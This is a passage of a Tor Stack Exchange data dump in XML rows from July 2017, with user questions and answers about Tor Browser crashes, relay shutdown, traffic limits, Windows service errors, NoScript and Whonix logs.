Summary:&#xA;ReadOnly portion of Libraries: Total=331.0M resident=0K(0%) swapped_out_or_unallocated=331.0M(100%)&#xA;Writable regions: Total=199.7M written=0K(0%) resident=0K(0%) swapped_out=0K(0%) unallocated=199.7M(100%)&#xA;&#xA;                                VIRTUAL   REGION &#xA;REGION TYPE                        SIZE    COUNT (non-coalesced) &#xA;===========                     =======  ======= &#xA;Activity Tracing                  2048K        2 &#xA;CG shared images                   144K        4 &#xA;CoreAnimation                       28K        4 &#xA;CoreUI image file                  192K        4 &#xA;Dispatch continuations            4096K        2 &#xA;IOKit                             31.0M        2 &#xA;Kernel Alloc Once                    8K        3 &#xA;MALLOC                            18.3M       11 &#xA;MALLOC guard page                   32K        7 &#xA;Memory Tag 242                      12K        2 &#xA;Process Corpse Info               2048K        2 &#xA;STACK GUARD                       56.1M       34 &#xA;Stack                             24.9M       34 &#xA;VM_ALLOCATE                        1.1G       78 &#xA;VM_ALLOCATE (reserved)             388K        3         reserved VM address space (unallocated)&#xA;__DATA                            30.3M      271 &#xA;__IMAGE                            528K        2 &#xA;__LINKEDIT                        92.7M       11 &#xA;__TEXT                           238.2M      274 &#xA;__UNICODE                          552K        2 &#xA;mapped file                      178.1M       16 &#xA;shared memory                     16.3M        8 &#xA;===========                     =======  ======= &#xA;TOTAL                              1.8G      754 &#xA;TOTAL, minus reserved VM space     1.8G      754 &#xA;&#xA;Model: MacBookPro5,2, BootROM MBP52.008E.B05, 2 processors, Intel Core 2 Duo, 2.8 GHz, 8 GB, SMC 1.42f4&#xA;Graphics: NVIDIA GeForce 9400M, NVIDIA GeForce 9400M, PCI, 256 MB&#xA;Graphics: NVIDIA GeForce 9600M GT, NVIDIA GeForce 9600M GT, PCIe, 512 MB&#xA;Memory Module: BANK 0/DIMM0, 4 GB, DDR3, 1333 MHz, 0x80CE, 0x4D34373142353237334448302D4348392020&#xA;Memory Module: BANK 1/DIMM0, 4 GB, DDR3, 1333 MHz, 0x80CE, 0x4D34373142353237334448302D4348392020&#xA;AirPort: spairport_wireless_card_type_airport_extreme (0x14E4, 0x8D), Broadcom BCM43xx 1.0 (5.106.98.100.24)&#xA;Bluetooth: Version 4.4.6f1 17910, 3 services, 18 devices, 1 incoming serial ports&#xA;Network Service: Wi-Fi, AirPort, en1&#xA;Serial ATA Device: APPLE SSD TS256C, 251 GB&#xA;Serial ATA Device: HL-DT-ST DVDRW  GS21N&#xA;USB Device: USB Bus&#xA;USB Device: Apple Internal Keyboard / Trackpad&#xA;USB Device: IR Receiver&#xA;USB Device: USB Bus&#xA;USB Device: BRCM2046 Hub&#xA;USB Device: Bluetooth USB Host Controller&#xA;USB Device: USB 2.0 Bus&#xA;USB Device: Built-in iSight&#xA;USB Device: iPhone&#xA;USB Device: USB 2.0 Bus&#xA;USB Device: Hub&#xA;USB Device: Hub&#xA;USB Device: USB Receiver&#xA;USB Device: Scarlett 2i2 USB&#xA;USB Device: AXE-FX II&#xA;Thunderbolt Bus: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18185" LastEditorUserId="12737" LastEditDate="2017-07-03T01:18:43.880" LastActivityDate="2017-09-05T22:19:49.513" Title="Tor Browser for Mac 7.x crashes at startup" Tags="|tor-browser-bundle|error|mac|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15190" PostTypeId="2" ParentId="14945" CreationDate="2017-07-02T22:01:36.853" Score="-1" Body="&lt;p&gt;For older versions, you can check this url:&#xA;&lt;a href=&quot;https://github.com/TheTorProject/gettorbrowser/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/TheTorProject/gettorbrowser/releases&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18187" LastEditorUserId="18187" LastEditDate="2017-07-02T22:09:01.217" LastActivityDate="2017-07-02T22:09:01.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15191" PostTypeId="2" ParentId="15185" CreationDate="2017-07-03T00:08:38.823" Score="1" Body="&lt;p&gt;Same issue here. Solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;systemctl edit tor@default.service&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in editor write these lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[Service]&#xA;AppArmorProfile=&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then restart it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;systemctl restart   tor.service&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="18189" LastActivityDate="2017-07-03T00:08:38.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15192" PostTypeId="1" AcceptedAnswerId="15193" CreationDate="2017-07-03T05:11:57.740" Score="1" ViewCount="313" Body="&lt;p&gt;I run a Tor node on a virtual private server, and for various mundane reasons I do not want to continue operating this particular VPS. In other words, I will be removing a Tor node from the network. Are there any steps I should take in advance of shutting down this node for the last time? E.g. any way to advertise to the network that the node will no longer be available? (If there would even be a point to that)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server in question is not an exit relay at this time, but in general, I'm interested in knowing the answer for both exit and non-exit relays, if there is any difference.&lt;/p&gt;&#xA;" OwnerUserId="3169" LastActivityDate="2017-07-03T10:27:02.680" Title="How do I take my Tor node offline permanently?" Tags="|relays|exit-relays|network-health|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15193" PostTypeId="2" ParentId="15192" CreationDate="2017-07-03T10:27:02.680" Score="5" Body="&lt;p&gt;There isn't anything special that needs to be done, just halt the daemon.  Specifically there's no mechanism for publishing to the Dir Auths that a node will go down permanently.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2017-07-03T10:27:02.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15196" PostTypeId="1" CreationDate="2017-07-03T16:19:06.310" Score="0" ViewCount="80" Body="&lt;p&gt;Hi while I was browsing using tor, I clicked on aparticular site and it showed my paypal account name and my email address.The url starts with file:.....I dont remember the rest, am I secure? I am using tor over AVG secure vpn.&lt;/p&gt;&#xA;" OwnerUserId="18198" LastActivityDate="2017-07-04T17:12:38.903" Title="Does tor or reveal ones email address" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15197" PostTypeId="1" CreationDate="2017-07-03T16:25:23.350" Score="1" ViewCount="84" Body="&lt;p&gt;Clean install of tor browser 7.0.1 on Windows 10 Professional. It fails to start with the following error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Faulting application name: firefox.exe, version: 52.2.0.6242, time stamp: 0x00000000&#xA;Faulting module name: KERNELBASE.dll, version: 10.0.14393.1358, time stamp: 0x59327ae2&#xA;Exception code: 0xc06d007f&#xA;Fault offset: 0x000da9f2&#xA;Faulting process id: 0x3fac&#xA;Faulting application start time: 0x01d2f4177fc537ea&#xA;Faulting application path: C:\Temp\tor\Tor Browser\Browser\firefox.exe&#xA;Faulting module path: C:\Windows\System32\KERNELBASE.dll&#xA;Report Id: 6ed262c4-01da-4f01-837f-c8e28f715010&#xA;Faulting package full name: &#xA;Faulting package-relative application ID: &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18199" LastEditorDisplayName="user17993" LastEditDate="2017-07-04T17:23:45.427" LastActivityDate="2017-07-04T17:23:45.427" Title="Tor browser 7.0.1 crashes with the latest version of Windows 10 Professional" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2017-07-07T17:11:19.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="15198" PostTypeId="1" CreationDate="2017-07-03T19:27:00.850" Score="2" ViewCount="1540" Body="&lt;p&gt;I'd like to know &lt;em&gt;why&lt;/em&gt; the tor daemon autostarts and whether it's safe to disable it from starting automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here users asked how to disable it for &lt;a href=&quot;https://askubuntu.com/questions/256911/how-to-prevent-tor-from-starting-automatically-on-ubuntu-server&quot;&gt;Ubuntu&lt;/a&gt; and &lt;a href=&quot;https://tor.stackexchange.com/questions/12588/debian-tor-user-running-tor-in-the-background-from-startup&quot;&gt;Debian&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18202" LastActivityDate="2017-07-03T23:20:14.900" Title="Why does the tor daemon start automatically in Ubuntu/Debian?" Tags="|ubuntu|debian|startup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15199" PostTypeId="2" ParentId="15198" CreationDate="2017-07-03T23:20:14.900" Score="1" Body="&lt;p&gt;Normally users would expect network services that are installed to start automatically, this is true for other network services under debian or ubuntu like httpd or sshd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're running a relay or an onion service or another service that depending on using tor as a client then you'd definitely want the tor system service to start automatically.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-03T23:20:14.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15200" PostTypeId="1" CreationDate="2017-07-04T04:53:01.260" Score="1" ViewCount="44" Body="&lt;p&gt;TOR ran for a week.  Then crashed due to &quot;Firefox crash&quot;ing, which I do not have.  Says it's avail for Mac 7.0 or higher, and yet, now I cannot download or run either TOR or firefox, only safari.  Icons come with a circle and slash thru them.&lt;br&gt;&#xA; This sucks.  &lt;/p&gt;&#xA;" OwnerUserId="18207" LastActivityDate="2017-07-04T04:53:01.260" Title="Unexpected inability to run TOR-- said firefox crashed -- MAC OS 7.5.x" Tags="|firefox|mac|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15201" PostTypeId="1" CreationDate="2017-07-04T05:59:49.493" Score="2" ViewCount="11790" Body="&lt;p&gt;Not exactly what to however I have recently moved to windows 10 and I can no longer use tor. When ever I try to connect, it never moves past 85% and spams &lt;code&gt;04/07/17 15:52:23 PM.600 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit.&lt;/code&gt;  until I cancel it. I will paste the log below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04/07/17 15:52:21 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/07/17 15:52:21 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/07/17 15:52:21 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/07/17 15:52:21 PM.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;04/07/17 15:52:21 PM.600 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;04/07/17 15:52:21 PM.600 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;04/07/17 15:52:21 PM.900 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;04/07/17 15:52:22 PM.600 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;04/07/17 15:52:23 PM.600 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;04/07/17 15:52:24 PM.600 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;04/07/17 15:52:25 PM.600 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;04/07/17 15:52:26 PM.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;04/07/17 15:52:26 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/07/17 15:52:26 PM.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;04/07/17 15:52:26 PM.600 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The log always looks like this but the amount of [WARN] vary depending on how long I run it for. It has not crashed or anything like that. Anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="18209" LastEditorUserId="17825" LastEditDate="2017-07-27T12:49:32.650" LastActivityDate="2017-07-30T05:15:54.180" Title="WARN: Failed to find node for hop 0 of our path. Discarding this circuit" Tags="|circuit|error|log|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15202" PostTypeId="1" AcceptedAnswerId="15205" CreationDate="2017-07-04T12:45:32.953" Score="2" ViewCount="139" Body="&lt;p&gt;If I can only offer a small amount of traffic e.g. 20 GB per month for my middle relay would you recommend to set a monthly limit or a daily limit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the traffic limit to 20 GB would mean the relay is running one or two days and hibernating most time of the month. Setting it to 660 MB per day would make it run every day for approx. 2 hours and hibernating the rest of the day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you recommend to set the monthly limit and let TOR do the balancing or give a small daily portion?&lt;/p&gt;&#xA;" OwnerUserId="18210" LastActivityDate="2017-07-04T19:57:54.113" Title="Daily or monthly traffic limit recommended?" Tags="|middle|node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15205" PostTypeId="2" ParentId="15202" CreationDate="2017-07-04T16:43:57.400" Score="2" Body="&lt;p&gt;Monthly limit would be best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Daily limit would cause it to hibernate more frequently, resulting in more disrupted circuits for users, when your relay shuts down or is unexpectedly no longer in the consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A monthly limit would mean that such interuption only happens once per month, not every day.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-04T16:43:57.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15206" PostTypeId="2" ParentId="15196" CreationDate="2017-07-04T17:12:38.903" Score="1" Body="&lt;p&gt;&lt;code&gt;file:///&lt;/code&gt; references a file on your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on this file and how you navigated to it, it's possible that if it was malicious that it deanonymized you. If it was downloaded outside of Tor and was loading resources that were unique to you over Tor and the link to the local file was provided to your specifically then it's possible that you were deanonymized. &lt;em&gt;However&lt;/em&gt; it's probably harmless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor doesn't reveal your email address unless you type it into it, since it doesn't know your email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Tor Browser with AVG, or any anti-virus, installed is &lt;em&gt;less secure&lt;/em&gt; than using it without. Using Tor over AVGs &lt;em&gt;so-called&lt;/em&gt; &quot;secure&quot; VPN is twice as bad. You should &lt;a href=&quot;https://github.com/epidemics-scepticism/writing/blob/master/guide.md#anti-virus&quot; rel=&quot;nofollow noreferrer&quot;&gt;stop using anti-virus&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-04T17:12:38.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15207" PostTypeId="1" AcceptedAnswerId="15221" CreationDate="2017-07-04T17:27:44.317" Score="2" ViewCount="5306" Body="&lt;p&gt;Goal: start the tor service on Windows 10 with specified &lt;code&gt;torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My attempt: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1 step.&lt;/strong&gt;&#xA;&lt;code&gt;tor --service install -options -f C:\TorBrowser\torrc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2 step.&lt;/strong&gt; Trying to start the service... I get the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h9dH4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h9dH4.png&quot; alt=&quot;Error 1064&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;torrc&lt;/code&gt; file located in &lt;code&gt;C:\TorBrowser\torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge &amp;lt;&amp;lt;SOME VALUE&amp;gt;&amp;gt;&#xA;Bridge &amp;lt;&amp;lt;SOME VALUE&amp;gt;&amp;gt;&#xA;Bridge &amp;lt;&amp;lt;SOME VALUE&amp;gt;&amp;gt;&#xA;DataDirectory C:\TorBrowser\Browser\TorBrowser\Data\Tor&#xA;ExcludeExitNodes &amp;lt;&amp;lt;SOME VALUE&amp;gt;&amp;gt;,{??}&#xA;GeoIPFile C:\TorBrowser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\TorBrowser\Browser\TorBrowser\Data\Tor\geoip6&#xA;Log notice file TorBrowser/Tor/notice.log&#xA;SocksPolicy accept private:*,reject *:*&#xA;SocksPort 9051 CacheDNS UseDNSCache&#xA;StrictNodes 1&#xA;TrackHostExits &amp;lt;&amp;lt;SOME VALUE&amp;gt;&amp;gt;&#xA;UseBridges 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;&amp;lt;&amp;lt;SOME VALUE&amp;gt;&amp;gt;&lt;/code&gt; is some value :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use Tor Browser with that &lt;code&gt;torrc&lt;/code&gt; file — all OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to run &lt;code&gt;C:\TorBrowser\Browser\TorBrowser\Tor&amp;gt;tor.exe -f C:\TorBrowser\torrc&lt;/code&gt; the process &lt;code&gt;tor.exe&lt;/code&gt; starts and dies in ~one second.(I looked in the Task Manager.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The similar Tor &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/17145&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The only way to create a running tor service for a relay is to use the&#xA;  &quot;sc create...&quot; in cmd command line as irc#tor suggested. So&#xA;  this is how it works:&#xA;  &lt;code&gt;sc create &quot;Tor Win32 Service&quot; binPath= &quot;\&quot;C:\tornou\Tor\tor.exe\&quot; --nt-service -f \&quot;C:/tornou/Data/Tor/torrc\&quot;&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried this solution. The problem remains, the service does not start (with Error 1064).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is welcome!&lt;/p&gt;&#xA;" OwnerUserId="18215" LastActivityDate="2017-07-05T21:38:05.787" Title="Problems with starting the tor service on Windows 10 (Error 1064)" Tags="|configuration|windows|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15210" PostTypeId="2" ParentId="15202" CreationDate="2017-07-04T19:57:54.113" Score="2" Body="&lt;p&gt;In general it is better to have a maximum bandwidth for the users. Tor needs some time until it reaches the maximum bandwidth and this will probably take longer than a day. So it is better to set a monthly limit.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-07-04T19:57:54.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15216" PostTypeId="1" CreationDate="2017-07-05T05:03:47.750" Score="1" ViewCount="203" Body="&lt;p&gt;As title says, just wondering if anyone else is experiencing this issue. I have enabled NS and the whitelist is empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NS seems to be 'trusting' everything by default unless I mark each entry on a page specifically as Untrusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens on Google Maps after forbidding scripts globally:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qvgAU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qvgAU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to manually mark every site as 'Untrusted' on this page, hit F5 and only then do I get the expected result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6g7sO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6g7sO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out why NS is whitelisting everything by default unless I specify otherwise....&lt;/p&gt;&#xA;" OwnerUserId="18226" LastEditorUserId="9508" LastEditDate="2017-07-24T23:18:13.110" LastActivityDate="2017-07-24T23:18:13.110" Title="NoScript 5.0.6 not working on TBB current build 7.0.2" Tags="|javascript|noscript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15217" PostTypeId="2" ParentId="15176" CreationDate="2017-07-05T05:13:23.520" Score="1" Body="&lt;p&gt;Your COMODO anti-virus is performing &lt;a href=&quot;https://en.wikipedia.org/wiki/DLL_injection&quot; rel=&quot;nofollow noreferrer&quot;&gt;DLL injection&lt;/a&gt; to spy on your usage of Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cmdshim32.dll&lt;/code&gt;, where the fault is happening, is part of COMODO. This needs to be fixed from their side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;N.B.:&lt;/strong&gt; &lt;a href=&quot;https://github.com/epidemics-scepticism/writing/blob/master/guide.md#anti-virus&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stop using anti-virus&lt;/a&gt; if you have anonymity or privacy requirements.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-05T05:13:23.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15218" PostTypeId="1" CreationDate="2017-07-05T14:13:28.690" Score="1" ViewCount="176" Body="&lt;p&gt;Does the number of directory requests, reported for estimating the number of Tor clients, count the number of requests irrespective of whether or not the consensus was successfully downloaded by the the client? Can someone point out where exactly in the source code the counting is implemented? &#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/18203#comment:5&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket 18203&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I think the reason is that we're counting a response as soon as we consider the request as valid and start sending a response document. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But why not count after the client has successfully received the consensus. What happens if after successfully downloading the consensus, the client cant make a Tor circuit, Does the client try to download a consensus again or just retry with another circuit?&lt;/p&gt;&#xA;" OwnerUserId="7761" LastEditorUserId="12737" LastEditDate="2017-07-06T14:28:11.930" LastActivityDate="2017-07-06T14:28:11.930" Title="counting number of Tor users" Tags="|directory|censorship|consensus|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15220" PostTypeId="2" ParentId="15216" CreationDate="2017-07-05T19:48:22.697" Score="1" Body="&lt;p&gt;Google Maps in the browser does not use Java but Javascript. No Script is great at blocking Javascript from loading and running at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to make sure No Script is set to block everything globally (&quot;Forbid Scripts Globally&quot;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then whitelist specific sites and scripts as needed for the functionality you need per domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bU31x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bU31x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2017-07-05T19:48:22.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15221" PostTypeId="2" ParentId="15207" CreationDate="2017-07-05T21:38:05.787" Score="0" Body="&lt;p&gt;The log line is a relative path, within Tor Browser this normally works because it is careful about the directory it is in when it interprets the relative path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file TorBrowser/Tor/notice.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should instead make it an absolute path instead to ensure it's opened in the correct location. e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file C:\TorBrowser\Browser\TorBrowser\Tor\notice.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-07-05T21:38:05.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15223" PostTypeId="1" CreationDate="2017-07-05T22:14:57.080" Score="1" ViewCount="106" Body="&lt;p&gt;I've been keeping an eye on my whonix gateway logs lately and noticed two things. The first is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/14928/time-has-been-changed-message&quot;&gt;&amp;quot;Time has been changed&amp;quot; message?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also seeing &quot;Time has been changed&quot; spamming my logs. It happens a dozen times a day for about 20 minutes each time. Should I do something about this? What does it mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second thing is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 05 16:51:21 host Tor[1217]: We tried for 15 seconds to connect to '[scrubbed]' using exit $786926E8C497A6924ED69E23D48B13E92D1E07EE~memcpy at 163.172.67.180. Retrying on a new circuit.&#xA;Jul 05 16:51:36 host Tor[1217]: We tried for 15 seconds to connect to '[scrubbed]' using exit $0818DAE0E2DDF795AEDEAC60B15E71901084F281~edwardsnowden1 at 109.163.234.8. Retrying on a new circuit.&#xA;Jul 05 16:51:36 host Tor[1217]: Tried for 130 seconds to get a connection to [scrubbed]:443. Giving up.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Several dozens of lines like that. Also occures 20+ times a day. Should I be concerned or do anything about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made no modifications to the gateway or VM settings. I'm using it with Virtualbox in a linux distro. The gateway is completely up to date.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Distributor ID:   Whonix&#xA;  Description:  Whonix GNU/Linux 8.8 (jessie)&#xA;  Release:  8.8&#xA;  Codename: jessie&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Linux host 3.16.0-4-686-pae #1 SMP Debian 3.16.43-2+deb8u2 (2017-06-26) i686 GNU/Linux&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18233" LastActivityDate="2017-07-05T22:14:57.080" Title="Whonix gateway syslogs question?" Tags="|configuration|network-configuration|error|whonix|log|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15230" PostTypeId="1" CreationDate="2017-07-07T12:24:58.550" Score="1" ViewCount="98" Body="&lt;p&gt;After clicking on &quot;Start Tor browser&quot; Firefox starts but not Tor. Problem started after update about 2 weeks ago. Using Windows 7. Tried reinstalling Tor but problem remains. There are no error messages. How can I get Tor to start?&lt;/p&gt;&#xA;" OwnerUserId="18247" LastActivityDate="2017-07-07T12:24:58.550" Title="Trying to start Tor but Firefox starts instead" Tags="|windows|firefox|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15233" PostTypeId="1" CreationDate="2017-07-07T19:28:51.800" Score="1" ViewCount="923" Body="&lt;p&gt;I am on Debian and getting Debian from Debian itself after which it updates tor from the web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the path of Tor Browser has changed slightly it seems from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it has now changed to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/start-tor-browser.desktop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Trying to launch it I get the following - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[$] ./start-tor-browser.desktop                                                                                                     &#xA;Launching './Browser/start-tor-browser --detach'...&#xA;./Browser/execdesktop: line 14: ./Browser/start-tor-browser: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to launch it with torbrowser-launcher I get the same error -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[$] torbrowser-launcher                                                                                                             &#xA;Tor Browser Launcher&#xA;By Micah Lee, licensed under MIT&#xA;version 0.2.7&#xA;https://github.com/micahflee/torbrowser-launcher&#xA;Launching './Browser/start-tor-browser --detach'...&#xA;./Browser/execdesktop: line 14: ./Browser/start-tor-browser: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="12737" LastEditDate="2017-07-08T13:33:15.247" LastActivityDate="2017-07-08T13:33:15.247" 